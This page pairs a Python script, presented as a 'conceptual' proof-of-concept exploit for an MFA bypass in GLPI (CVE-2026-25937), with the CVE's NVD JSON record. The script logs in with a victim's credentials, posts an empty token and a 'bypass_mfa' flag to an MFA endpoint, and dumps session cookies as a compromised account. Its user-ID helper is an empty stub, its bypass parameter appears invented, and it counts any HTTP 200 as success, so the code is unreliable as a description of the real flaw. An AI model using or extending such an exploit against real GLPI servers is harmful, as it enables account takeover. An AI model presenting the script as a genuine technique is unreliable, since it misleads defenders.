CVE-2026-25937

# CVE-2026-25937 GLPI MFA Bypass PoC (Conceptual) # This PoC demonstrates the authentication bypass technique import requests import json TARGET_URL = "https://target-glpi-server.com" USERNAME = "[email protected]" PASSWORD = "user_password" def exploit_mfa_bypass(): """ GLPI MFA Bypass Exploitation Attackers with valid credentials can bypass MFA verification """ session = requests.Session() # Step 1: Initial login request login_url = f"{TARGET_URL}/front/login.php" login_data = { "user_name": USERNAME, "password": PASSWORD, "auth_method": "local" } response = session.post(login_url, data=login_data) # Step 2: Bypass MFA by manipulating the authentication flow # The vulnerability allows bypassing MFA check by using specific request patterns mfa_bypass_url = f"{TARGET_URL}/ajax/mfa.php" bypass_data = { "action": "verify", "user_id": extract_user_id(response), "token": "", # Empty or manipulated token "bypass_mfa": True # Exploiting the bypass mechanism } response = session.post(mfa_bypass_url, json=bypass_data) # Step 3: Verify successful authentication bypass if "session_token" in response.text or response.status_code == 200: print("[+] MFA Bypass Successful - Account Compromised") print(f"[+] Session Cookie: {session.cookies.get_dict()}") return True print("[-] MFA Bypass Failed") return False def extract_user_id(response): # Extract user ID from initial login response # Implementation depends on target version pass if __name__ == "__main__": print("GLPI MFA Bypass PoC - CVE-2026-25937") exploit_mfa_bypass()

{"cve": {"id": "CVE-2026-25937", "sourceIdentifier": "[email protected]", "published": "2026-03-18T00:16:18.570", "lastModified": "2026-03-23T18:16:40.317", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GLPI is a free Asset and IT management software package. Starting in version 11.0.0 and prior to version 11.0.6, a malicious actor with knowledge of a user's credentials can bypass MFA and steal their account. Version 11.0.6 fixes the issue."}, {"lang": "es", "value": "GLPI es un paquete de software gratuito de gestión de activos y TI. A partir de la versión 11.0.0 y antes de la versión 11.0.6, un actor malicioso con conocimiento de las credenciales de un usuario puede eludir la MFA y robar su cuenta. La versión 11.0.6 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:teclib-edition:glpi:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0", "versionEndExcluding": "11.0.6", "matchCriteriaId": "04DD49CA-3A87-4F7B-BCFC-8C6361C7E6FE"}]}]}], "references": [{"url": "https://github.com/glpi-project/glpi/security/advisories/GHSA-2g3p-vwp2-7qxm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}